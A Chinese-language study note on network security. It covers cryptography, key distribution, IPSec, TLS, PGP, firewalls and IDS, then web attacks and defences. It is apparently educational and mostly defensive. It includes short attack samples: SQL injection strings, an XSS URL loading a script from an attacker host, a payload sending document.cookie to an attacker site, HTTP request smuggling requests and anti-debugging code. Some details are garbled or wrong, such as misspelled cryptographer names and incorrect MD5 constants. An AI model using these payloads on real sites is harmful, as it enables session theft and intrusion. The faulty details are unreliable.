本篇带你学习网络安全内容,先认识安全威胁,再介绍网络安全基础,包括密码技术、安全协议、访问控制三部分,最后介绍常见的Web攻击与防范措施。
安全威胁
- 被动攻击:又叫截获、流量分析。窃听网络上的内容,不干扰信息流
- 主动攻击:干扰信息流或破坏程序。常见手段有篡改、恶意程序(计算机病毒(修改目标程序)、计算机蠕虫(通过网络传播执行)、特洛因木马(执行非所声称的程序)、逻辑炸弹(程序漏洞))、拒绝服务
密码技术
若一个密码体制中的密码不能在一定时间内被可以使用的计算资源破译,则这一密码体制称为在计算上是安全的。我们寻求的是计算上是安全的密码体制,而不是无条件安全的密码体制
密码学包括密码编码学(密码体制的设计学)、密码分析学(从密文推演出明文或密钥的技术)、密码管理(包括密钥的产生、分配、注入、验证和使用)
对称密钥密码体制
特点
- 加密密钥和解密密钥是相同的,两者既可以拿来加密,也可以拿来解密
- 算法是公开的,密钥则是保密的
- 加、解密快
示例:SM4、DES、IDEA、AES
公钥密码体制
特点
- 加密密钥(公钥)和解密密钥(私钥)是不同的,私钥只能解密,公钥只能加密
- 加密密钥、算法是公开的,解密密钥是保密的
- 加、解密慢
示例:Deffie、Iellman、Nerkle、RSA、背包公钥体制、SM2
应用:数字签名
特点:
- 报文鉴别(防冒充)
- 报文的完整性(防篡改)
- 不可否认(防抵赖)
过程:
- 对报文进行摘要运算,生成摘要
- 使用私钥加密摘要,生成报文鉴别码
- 将报文鉴别码拼接在报文后
- 对报文进行摘要运算,对报文鉴别码使用公钥解密,对这两份结果进行比较,若相同则传输过程中不遭遇篡改
理解鉴别
- 定义:用于验证通信对方的确是自己所要通信的对象,而不是其他冒充者
- 鉴别方式分类
- 报文鉴别:每次收到报文时验证。使用报文摘要,如MD5、安全散列算法SHA、SM3
- 实体鉴别:第一次收到报文时验证。使用对称密钥加密身份和口令传输,但为了避免重放攻击,使用非对称加密不重数(不重复使用的大随机数,一次一数)传输,但防不了中间人攻击,通过公钥分配可解决
MD5摘要(哈希值/数字指纹)
特点:不同输入不同输出;过程不可逆;安全性高;
*原理:
填充:先使信息的字节长度满足N * 64 + 56(字节),即N * 512 + 448(位),N为正整数,填充方式是在信息后面加补一个1和有限个0,直至满足上述条件。最后在后面补充表示填充前信息的64位二进制长度。此时信息字节长度为512的整数倍
N * 512位分组 -> N * 16个 * 32位子分组 -> 4 * 32位子分组 -> 128位散列值实现
- 取第一个分组作为链接变量,再将4个链接变量的整数参数(即0x1234567,0x89abcdef,0xfedcba98,0x76543210)分别赋值给变量A/a,B/b,C/c,D/d,进行4轮循环运算,每轮循环的次数是N
- 每次先从a,b,c,d任取3个作非线性函数运算,接着将所得结果加上第4个变量,再让结果向右环移一个不定的数,最后加上a,b,c,d中的任意一个,并用该结果取代a,b,c,d中的任意一个,依此类推,循环N次
- 四轮结束后,让A,B,C,D加上四轮结束后对应的a,b,c,d
- 取下一分组,重复以上步骤,依此类推,最后所有分组执行完后,输出的是A,B,C,D的级联,而结果为DCBA组成的128位结果
改进:对密文截取一段数据并丢弃,再用随机数填充。即使通过XSS和CSRF获取密文,在工程代码被窃取前是无解的
应用:数字签名、文件完整性验证、提供第三方服务的口令加密
密钥分配
对称密钥分配
密钥分配中心KDC:负责给需要秘密通信的用户临时分配一个会话密钥。密钥分配流程如下,
A KDC B -> (A, B) <- Ka(Kab, Kb(A, B, Kab)) -> Kb(A, B, Kab)Ka是A的主密钥,Kb是B的主密钥,Kab是A和B之间的一次会话密钥
Kerberos:既是一个密钥分配协议,又是一个KDC
A 鉴别服务器AS 票据授予服务器TGS B -> A <- Ka(Ks, Ktg(A, Ks)) -> (Ks(T), B, Ktg(A, Ks)) <- (Ks(B, Kab), Kb(A, Kab)) -> (Kab(T), Kb(A, Kab)) <- Kab(T+1)Ka是A的对称密钥,Ks是A与TGS通信的会话密钥,Ktg是TGS的对称密钥,T是时间戳,Kab是A和B通信的会话密钥,Kb是B的密钥
公钥分配
认证中心CA:将公钥与其对应实体(人或实体)进行绑定,一般由政府或大公司提供
X.509协议标准:描述证书结构,旨在统一CA格式。IETF基于此标准给出X.509公钥基础结构PKI
数字证书:包含颁发证书机构、数字签名使用的报文摘要算法、证书持有者的非对称公钥、报文鉴别码MAC(后生成附加)等信息。其工作机制如下,
- 发送前,对证书原文先进行报文摘要运算,再用CA的私钥签名摘要,生成报文鉴别码,加到证书最后
- 收到后,对证书原文进行报文摘要运算,对报文鉴别码核实签名,对比前后两份摘要是否一致。做到这一步已经防篡改、不可否认
- 各大浏览器和操作系统已内置所有权威证书机构的根证书。有了这一步可以防窃取,防止中间人攻击,也实现了真正的防冒充
安全协议
网络层安全协议IPSec协议
功能:提供源点鉴别、数据完整性和保密
构件
- 安全关联SA:通信前须创建的一条网络层的逻辑链接。是从源点到终点的单向连接,源点需维护安全参数索引SPI、SA源点和终点、加密算法、加密密钥、完整性检查的类型、鉴别使用的密钥等状态信息
- 安全关联数据库SAD:发送或接收IPsec报时,在库中查找SA获得信息,实施安全保护,或检查该分组的安全性
- 安全策略数据库SPD:接收IPsec报时,指出是否使用IPsec
- 因特网密钥交换IKE协议:一个复杂的协议
两种工作方式
- 运输方式:在运输层报文段前面添加IPSec首部和ESP首部的控制字符,后面添加ESP尾部和ESP MAC的控制字段,构成IPSec数据报,加密范围是运输层报文段开始到ESP尾部
- 隧道方式:在网络层数据报前面添加IPSec首部和ESP首部的控制字符,后面添加ESP尾部和ESP MAC的控制字段,构成IPSec数据报,加密范围是网络层数据报开始到ESP尾部。常用该方式实现虚拟专用网VPN
运输层安全协议SSL/TLS
含义&关系:SSL表示安全套接字层,TLS表示运输层安全,TLS是在SSL3.0基础上设计出来
提供的安全服务:服务器鉴别(允许用户证实服务器身份)、客户端鉴别(允许服务器证实客户身份)、加密的SSL会话
SSL工作过程:协商使用的对称加密算法-> 服务器鉴别(服务器下发证书,客户端验证) -> 会话密钥计算(客户端产生随机数,并用公钥加密发给服务器;服务器用私钥解密,获得对称密钥) -> 安全数据传输(客服两端通过对称密钥进行加密通信)
应用层电子邮件安全协议PGP
由于电子邮件没有会话而产生的问题
- 如何确定加密算法?将要使用的算法名称包含在电子邮件中(电子邮件安全协议需要为各种加密操作定义相应的算法)
- 如何知晓密钥?随报文一起发送,但会被加密(电子邮件安全协议要求使用对称密钥算法)
- 如何确认双方的公钥?第三方签署(若用户A、B分别和第三方C已互相确认对方拥有的公钥属实,则C可以用其私钥分别对A、B的公钥进行签名,为这两个公钥做担保。当A得到一个经C签名的B的公钥时,可以用已确认的C的公钥对B的公钥进行鉴别),类似CA签发的证书
工作原理
- 发送方:分3步,R1 = X + 加密(散列(X), A的私钥),R2 = 加密(R1, 一次性密钥),R3 = R2 + 加密(一次性密钥, B的公钥)
- 接收方:分3步,一次性密钥 = 解密(R3 - R2, B的私钥),R1 = 解密(R2, 一次性密钥),解密((R1 - X), A的公钥) === 散列(X)
访问控制
- 又称为存取控制、接入控制
- 目的:保证网络资源不被非法使用和访问
- 手段:入网访问控制、网络权限控制、目录级安全控制、属性安全控制
系统安全:防火墙与入侵检测
防火墙
通过严格控制进出网络边界的分组,禁止任何不必要的通信,减少潜在入侵的发生
分类
- 网络级防火墙:防止整个网络出现外来非法入侵,如分组过滤路由器(根据过滤规则对分组执行转发或丢弃,支持无状态和有状态的分组。简单高效,对用户透明)、授权服务器
- 应用级防火墙,用于访问控制,如应用网关(相当于报文中继,实现基于应用层数据的过滤和高层用户鉴别)
- 数据库防火墙
防火墙外的网络称为不可信网络,防火墙内的网络称为可信网络
入侵检测系统IDS
通过对进入网络的分组进行深度分析与检测发现疑似入侵行为的网络活动(网络映射、端口扫描、Dos攻击、蠕虫、病毒、系统漏洞攻击),并进行报警以便进一步采取相应措施
检测方法
- 基于特征的入侵检测:维护一个所有已知攻击标志性特征的数据库,对未知攻击则束手无策
- 基于异常的入侵检测:观察正常运行的网络流量,学习正常流量的统计特性和规律,当检测到网络中流量某种统计规律不符合正常情况时,则认为可能发生了入侵行为
漏报率和误报率之间做平衡
Web安全
Web攻击分类
1、对输出未做任何处理引发的安全漏洞
- SQL注入
- XSS
- 目录遍历
- HTTP首部注入
- 邮件首部注入
- OS命令注入
- 远程文件包含漏洞
2、会话管理疏忽引发的安全漏洞
- CSRF
- 会话劫持
- 会话固定攻击
3、设计缺陷引发的安全漏洞
- 强制浏览
- 不正确的错误消息处理
- 开放重定向
4、其他安全漏洞
- Dos
- 中间人攻击
- 密码破解
- 点击劫持
- 后门程序
常见Web攻击与防范
SQL注入
常见手段:后加
or 1=1、union select 1,database()(一步步查出库名、表名、列名)防范:
参数化查询
javaString sql = "select id from users where name=?"; PreparedStatement state = conn.prepareStatement(sql); state.setString(1, request.getParameter("name")); state.executeQuery();密码以加盐哈希的方式存储在数据库
javascript// 加盐能有效预防彩虹表攻击,盐不能取得太常规 hash(`${password}${salt}`)
跨站攻击脚本XSS
含义:一种注入式攻击,源于对非预期输入的信任,利用输入的不严谨性插入恶意JS代码,如盗号(会话劫持)、窃取数据(信息泄露)、挂马、有效载荷、PoC(验证程序是否有漏洞,无害)、Exp(利用程序是否有漏洞,有害)
原理:构造攻击代码,经由未做处理的服务端,最后浏览器解析执行攻击脚本
分类
反射型XSS:诱导用户点击攻击者提供的注入恶意脚本的url,服务器未对内容作处理导致浏览器执行,如
attacked_url?content=%3Cscript src=attack_url/attack.js%3E%3C/script%3E存储型XSS:攻击者通过可编辑元素提交恶意代码到服务器,用户一访问相应网页便执行恶意代码,如
Samy蠕虫:历史上第一个存储型XSS。通过允许的
style属性和仅IE支持的CSS函数express配合实现自动添加好友、修改简介图片注入恶意代码:cat normal.jpg b.js > attack.jpg
调用画布
drawImage方法重新生图,可以将图片中的脚本过滤查看图片内容方式:通过
FileReader.readerAsText读取图片资源,或更简单地,打开控制台,选择图片元素,右键选择Reveal in Sources panel
反射型XSS需借助各种社交渠道传播攻击的URL来实施,而存储型XSS通过网站漏洞进行攻击,成本低且杀害力更大
防范
1、服务端对查询做编码,防止浏览器解析,否则只能在浏览器做编码或转义
2、浏览器使用白名单过滤,而不直接对script标签、style属性等进行黑名单过滤的方式,存在风险

3、*为cookie设置
httpOnly,禁用js访问cookie
*XSS盲打:攻击者对数据提交后展现后台未知情况的一种XSS攻击方式,XSS盲打平台为这种方式提供基本功能
跨域请求伪造CSRF
含义:劫持客户端请求中的会话凭证,利用该凭证冒充用户做非法操作。通过隐藏表单、网络拦截、存储型XSS如通过
a、img、iframe标签、CSS伪元素、background-image:url()、自定义字体等方式劫持会话示例
攻击者提交了访问攻击网站的图片,并注入
?c=${document.cookie}防范
1、*为cookie设置
samesite:lax,阻止跨域请求携带2、*设置CSP,限制CSS、JS来源
内容安全策略CSP:通过设置
Content-Security-Policy和Content-Security-Policy-Report-Only响应头,告诉浏览器可加载哪些资源。可以防止XSS和CSRF示例:只允许使用https加载资源
Content-Security-Policy: default-src https:<meta http-equiv="Content-Security-Policy" content="default-src https:">注:存在多个相同的CSP,则按最严格的策略执行;CSP无法管理worker
3、使用令牌替代cookie
4、使用HTTPS协议
5、通过refer请求头检查请求源
6、*在所有更改状态的请求上禁用CORS,防止第三方表单提交到端点
7、验证码:包括图形验证码、短信验证、拼图、识图选择、数学计算。区分用户是计算机还是人的公共全自动程序,防止恶意破解密码、刷票、论坛灌水
pyfail_count = get_from_redis(fail_username) # 密码错误次数 <= 3,图形验证 if fail_count <= 3: if captcha is None: return error('需要验证码') if check_captcha(captcha) return error('验证码错误') # 密码错误次数 > 3,短信验证 if fail_count > 3: if dynamic_code is None: return error('需要短信验证码') if not validate_dynamic_code(username, dynamic_code): delete_dynamic_code(username) return error('短信验证码错误') success = do_login(username, password) if not success: set_redis(fail_username, fail_count + 1)
中间人攻击
工作原理

防范
使用HTTPS协议,具有内容加密、身份验证、数据完整性保护特点
sslstrip是一款由Moxie Marlinspike开发的中间人攻击(MITM)工具,主要目的是将目标网络中的HTTPS流量降级为HTTP流量,窃取用户信息。其工作原理是拦截客户端与服务器之间的通信,把服务器返回的HTTPS链接替换成HTTP链接,让客户端看起来仍在和"安全站点"通信,绕过SSL/TLS加密保护
HSTS(HTTP Strict Transport Security,HTTP严格传输安全)是一种安全策略机制,用于强制客户端仅通过HTTPS协议与服务器建立连接,杜绝HTTPS降级攻击。具体操作是服务器通过响应头Strict-Transport-Security向浏览器发送指令,浏览器收到后会在指定时间内自动将所有对该域名的HTTP请求转为HTTPS请求,且不会接受用户手动跳过的安全警告,彻底阻断sslstrip这类降级攻击的可能
拒绝服务DoS
工作原理:发送海量数据包,顷刻占满目标系统的全部带宽,正常请求被堵在门外,拒绝服务目的达成。若攻击来自四面八方,则称为分布式拒绝服务DDos,也叫做网络带宽攻击或连通性攻击
示例
ICMP Flood
原理:ICMP指Internet控制报文协议,用于在IP主机、路由器之间传递控制消息,控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息
举例:UDP Flood,发送大量伪造源IP地址的小UDP包
特点:传统流量攻击技术量较低,攻击效果常依赖受控主机本身的网络性能,易被查到攻击源头
NTP Flood
原理:攻击者使用特殊的数据包,即目的IP地址指向作为反射器的服务器,源IP地址伪造为攻击目标IP。反射器接收到数据包时被骗,会将响应数据发送给被攻击目标,耗尽被攻网络的带宽资源。更广泛讲,利用各种协议的行为特性、系统的缺陷、服务的脆弱性、软件的漏洞等等发起攻击,不断占用目标系统的资源以阻止它们处理正常事务和请求

举例:问答式的协议都可以被利用,比如NTP,它是标准的基于UDP协议传输的网络时间同步协议
特点:反射放大攻击堪称一种"借刀杀人"的流量型攻击
SYN Flood
原理:利用TCP协议缺陷(TCP第三次握手无法完成,服务器端一般会重试并等待一段时间后再丢弃这个未完成的连接),发送大量伪造的TCP连接请求,使被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式
举例:CC攻击。如HTTP Flood模拟多个正常用户不停访问如论坛这些需要大量数据操作的页面,造成服务器资源的浪费,CPU长时间处于100%(数据库压力越大,被访问的频率越高,占用的系统资源越多),永远都有处理不完的请求,网络拥塞,正常访问被中止;再者DNS Query Flood,随机生成或者是网络上根本不存在的域名,由于在本地无法查到对应的结果,服务器必须使用递归查询向上层域名服务器提交解析请求,引起连锁反应
特点:成本低、威力大、技术含量高(针对Web服务在第七层协议发起的攻击,在越上层协议上发动DDoS攻击越难以防御,上层协议与业务关联愈加紧密,防御系统面临的情况也会更复杂),见不到真实源IP,见不到特别大的异常流量,但服务器就是无法进行正常连接
HTTP请求走私
工作原理
利用HTTP代理链路上的HTTP Server实现存在不一致漏洞进行攻击。不与其他web攻击一样直观,而是在复杂的网络环境中,因不同服务器基于不同的RFC标准实现的针对HTTP协议包的不同处理方式而产生的一种安全风险,具体如下,

当不同服务器实现时参考的RFC标准不同时,向reverse proxy发送一个模糊的HTTP请求,可能产生reverse proxy认为该HTTP请求合法,并转发到back-end,而back-end只认为部分HTTP请求合法,剩下的多余请求属于"走私"的HTTP请求了,对用户造成影响,就实现HTTP走私攻击
示例
get请求使用body发送数据,设置Content-Length(规范比较模糊,只提到携带payload的get请求没有定义,可能被拒绝)
# 由于是get请求,服务器不对Content-Length处理,同时因为pipeline存在,后端服务器会将该数据包视为两个get请求 GET / HTTP/1.1 Host: example.com Content-Length: 44 GET /secret HTTP/1.1 Host: example.com # 结果 # 请求1 GET / HTTP/1.1 Host: example.com # 请求2 GET /secret HTTP/1.1 Host: example.com同时设置Content-Length和Transfer-Encoding,但代理服务器处理Content-Length,后端服务器(遵守RFC2616规定)处理Transfer-Encoding,又或代理服务器处理Transfer-Encoding,后端服务器处理Content-Length
伪造走私请求控制请求url、请求内容,进行删除用户、反射XSS、跳转到钓鱼网站等攻击


设置两个不同值的Transfer-Encoding请求头,对Transfer-Encoding进行某种混淆操作(比如给Content-Length设置错误的值),使其中一个服务器不处理Transfer-Encoding请求头
设置两个不同值的Content-Length请求头(规定当服务器收到的请求中包含两个Content-Length,且两者值不同时,需要返回400错误)
# 当服务器未遵循该规范,前、后服务器都不会响应400,可能造成代理服务器使用第一个Content-Length获取长度,而后端按照第二个Content-Length获取长度 POST / HTTP/1.1 Host: example.com Content-Length: 8 Content-Length: 7 12345\r\n a # 代理服务器会与后端服务器重用TCP通道,这个时候a就会拼接到下一个请求 aGET / HTTP/1.1\r\n Host: example.com\r\n
防范
- 禁用代理服务器与后端服务器之间的TCP连接重用(取消TCP重用将增大服务器负载,服务器资源吃不消)
- 使用HTTP/2协议(HTTP/2推行过于困难,尽管HTTP/2兼容HTTP/1.1)
- 前后端使用相同的服务器(使用相同的服务器,一些厂商很难实现,主要原因是前后端实现标准不一致的问题)
- 上云(统一实现编码规范,可以很好地避免该类问题的产生)
时序攻击
import express from "express";
const authApi = express.Router();
authApi.post("/session", async (req, res) => {
const params: {
email: string;
password: string
} = req.body;
if (!req.headers["x-csrf-token"] || req.headers["x-csrf-token"] !== req.Cookie["xCsrfToken"]) {
return res.status(400).json({ message: "Invalid CSRF token." });
}
// 当大量请求轰击服务并计时时,对于不存在的用户响应更快
const user = Users.findByEmail(params.email);
if (!user || !Users.verifyPassword(params.password, user)) {
// 为无效凭证的请求,添加随机延迟,缓解时序攻击
await new Promise((resolve) => setTimeout(resolve, crypto.randomInt(11, 111)));
return res.status(401).json({ message: "Invalid credentials." });
}
const sessionId = generateToken();
res.Cookie("sessionId", sessionId, {
httpOnly: true,
maxAge: 1000 * 3600 * 24,
sameSite: "lax"
});
Sessions.add({
sessionId,
userEmail: user.email
});
const response: ApiSessionRes = {
email: user.email,
name: user.name
};
res.status(200).json(response);
});
authApi.delete("/session", async (req, res) => {
if (req.Cookie["sessionId"])
Sessions.remove(req.Cookie["sessionId"]);
res.clearCookie("sessionId");
res.status(200).json({ message: "Signed out." });
});
export {
authApi
};安全措施
通过helmet设置响应头,如禁用x-powered-by(防暴露应用程序引擎),禁用mime类型嗅探,启动HSTS(优先https)
javascriptimport express from "express"; import fs from "fs"; import helmet from "helmet"; import https from "https"; import path from "path"; const app = express(); // 避免手动调整CSP、HSTS、X-Powered-By、MIME-sniffing等;尽可能设置最严格的CSP。 app.use(helmet({ contentSecurityPolicy: { directives: { defaultSrc: "'self'" } } })); app.use(express.json()); const client = path.resolve(__dirname, "../build"); if (fs.existsSync(client)) app.use(express.static(client)); app.get("/healthz", (_, res) => { res.send({ message: "We're live 🚀" }); }); const httpsOptions = { key: fs.readFileSync(path.join(__dirname, "./tls/cert.key")), cert: fs.readFileSync(path.join(__dirname, "./tls/cert.pem")), }; const portHttps = process.env.PORT_HTTPS || 8080; https.createServer(httpsOptions, app).listen(portHttps, async () => { console.log(`HTTPS server listening at ${portHttps}`); // eslint-disable-line no-console });SRI
- 含义:Sub Resource Integrity,子资源完整性,一种Web静态资源安全策略,防止网站引用的外部资源被篡改
- 工作原理:通过添加integrity属性,指定一个哈希值和相应的哈希算法。当浏览器加载资源时,会计算该资源的哈希值,并将其与integrity属性中指定的哈希值进行比较。如果两者不相等,浏览器将拒绝加载该资源,从而防止了恶意资源的加载
- 示例html
<!-- integrity由两部分组成,哈希算法(sha384)和对应的哈希值(hash-value) --> <script src="https://example.com/path/to/script.js" integrity="sha384-hash-value" crossorigin="anonymous"> </script> - 应用:常用于CDN
属性target='_blank'的标签a,存在安全和性能隐患,设置noopener可解决
哪些隐患?
- 安全隐患:如window.opener.location指向hacker网站
- 性能隐患:打开的页面默认与原页面共享同个进程,当打开的页面执行了耗时操作,会造成原页面卡顿
解决:设置noopener,可以解决以上隐患
- css:
<a target="_blank" rel="noopener">,默认情况下,如果你的a标签有target="_blank",现在会默认开启 rel="noopener"? - js:
window.open('https://www.baidu.com', '_blank', 'noopener')
rel取值介绍
- noopener:用于不能获取window.opener对象,不影响原页面性能
- noreferrer:用于保护源隐私安全
- nofollow:用于seo权重分配
异常操作或登录提醒:用户在非常登录地登录、修改密码、登录异常时,短信提醒用户
拒绝弱密码:注册或修改密码时,不允许用户设置弱密码
防止用户名被遍历:注册时一般会检查用户名是否存在,存在所有用户名被泄露的风险(遍历接口),需要在交互或逻辑上做限制
IP限制,针对IP
pythonfail_count = get_from_redis(fail_ip) locked = get_from_redis(lock_ip) if locked: return error('ip已被锁定') if fail_count >= 3: if captcha is None: return error('需要验证码') check_captcha(captcha) success = do_login(username, password) if not success: set_redis(fail_ip, fail_count + 1) # 登录失败次数大于10次,锁定ip300s if fail_count + 1 >= 10: set_redis(lock_ip, true, 300)登录限制,针对用户名
pythonfail_count = get_from_redis(fail_username) locked = get_from_redis(lock_username) if locked: return error('账号已被锁定') if fail_count >= 3: if captcha is None: return error('需要验证码') check_captcha(captcha) success = do_login(username, password) if not success: set_redis(fail_username, fail_count + 1) # 登录失败次数大于10次,锁定账号300s if fail_count + 1 >= 10: set_redis(lock_username, true, 300)图片防盗链
图片防盗链是指通过一系列技术手段,防止其他网站未经授权直接引用或链接到本网站的图片资源,以保护网站的图片版权和减少带宽消耗
防范
1、服务器可以通过检查referer字段判断请求是否来自授权域名
2、CDN配置防盗链规则,指定允许的引用域名
3、使用css background属性替代img标签
4、canvas绘图
5、图片加水印
6、图片url加密,解密后方能访问
*JS反调试
启用断点禁止使用devtools
javascript// 一直触发断点 setTimeout(() => { while(true){ eval('debugger') } })检测devtools打开时弹出alert
javascriptconst divEl = document.createElement('div') const loop = setInterval(() => { console.log(divEl) console.clear() }) // 一打开devtools,打印div就会尝试获取id,从而触发getter Object.defineProperty(divEl, 'id', { get: () => { clearInterval(loop) alert('debugger detected') } })函数重定义
javascript// 比如重写eval函数 const origin = eval const fake = function(){ // 反调试逻辑 } eval = fake检查时差
javascript// 通过运行时间判断脚本当前是否在调试 setInterval(() => { const start = performance.now() let check let diff for(check = 0; check < 1000; check++){ console.log(check) console.clear() } diff = performance.now() - start if(diff > 200){ alert('debugger detected') } }, 500)使用代理
javascriptconst handler = { apply(target, thisArg, args) { console.log('intercepted a call to createElement with args:' + args) return target.apply(thisArg, args) } } document.createElement = new Proxy(document.createElement, handler) try { document.createElement() } catch(e) { alert('debugger detected') }
